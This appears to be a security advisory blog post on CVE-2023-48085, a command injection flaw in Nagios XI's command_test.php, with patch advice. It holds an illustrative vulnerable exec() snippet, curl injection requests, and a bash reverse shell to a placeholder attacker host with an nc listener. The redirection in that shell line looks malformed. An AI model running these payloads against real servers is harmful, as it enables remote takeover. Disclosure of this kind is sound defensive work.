In late 2023, cybersecurity researchers discovered a critical remote code execution (RCE) vulnerability—tracked as CVE-2023-48085—in Nagios XI, a popular network monitoring platform. This vulnerability, present in the command_test.php component, enables attackers to execute arbitrary system commands remotely. Below, we break down the vulnerability, how it works, proof-of-concept code, and how to stay safe.

What is Nagios XI?

Nagios XI is an enterprise server and network monitoring software. Many organizations use it to track uptime and performance across IT infrastructure.

About CVE-2023-48085

Summary:
Versions of Nagios XI before 5.11.3 have an insecure implementation in command_test.php, allowing unauthenticated, remote attackers to send specially crafted requests that execute arbitrary OS commands with the privilege of the Apache web server user.

- CVE: CVE-2023-48085

Severity: Critical (CVSS 9.8)

- Impacted Component: command_test.php (under /nagiosxi/includes/components/)

How the Exploit Works

command_test.php is designed to test system commands for admins. The script is vulnerable because it fails to sanitize user input before passing it to dangerous exec() or similar PHP functions. By injecting a command via the cmd parameter, an attacker can get the server to run arbitrary code.

Here is a simplified, illustrative snippet resembling the vulnerable logic

// command_test.php (prior to fix)
if (isset($_GET['cmd'])) {
    $test_cmd = $_GET['cmd'];
    // Dangerous: unsanitized command execution
    exec($test_cmd, $output, $ret);
    echo implode("\n", $output);
}

If an attacker calls

/nagiosxi/includes/components/command_test.php?cmd=whoami

The output will be shown directly—even worse, more damaging commands could be executed.

Proof of Concept (PoC) Exploit

Anyone on the same network (and possibly public internet, if Nagios XI is exposed) can exploit this vulnerability with *no authentication* by making a simple HTTP GET request.

PoC Using curl

curl "http://target-site/nagiosxi/includes/components/command_test.php?cmd=id";

Expected output

uid=48(apache) gid=48(apache) groups=48(apache)

By injecting a reverse shell payload, the attacker can gain a remote shell

curl "http://target-site/nagiosxi/includes/components/command_test.php?cmd=bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 >&1'"

Set up a listener on the attacker's machine

nc -lvnp 4444

References

- Nagios XI Release Notes (5.11.3)
- CVE-2023-48085 in NVD
- Original Disclosure (Packet Storm)

Official Patch & Mitigation

Nagios XI 5.11.3 includes a fix. The vulnerable script now sanitizes input using escapeshellcmd() or similar, and/or restricts commands executed via a hardened allowlist.

Upgrade to 5.11.3 or later immediately.

2. Restrict web access (especially to /nagiosxi/includes/components/).

Conclusion

CVE-2023-48085 is a serious issue that anyone running an affected Nagios XI should address as soon as possible. The vulnerability is simple to exploit, does not require credentials, and directly gives attackers control over the server. Always keep monitoring tools updated—ironically, even security monitoring platforms can become an attacker's entry-point!

If you run Nagios XI:
Patch now. Audit. And never expose monitoring interfaces directly to the Internet without strong controls.

Timeline

Published on: 12/14/2023 07:15:09 UTC
Last modified on: 12/19/2023 18:41:59 UTC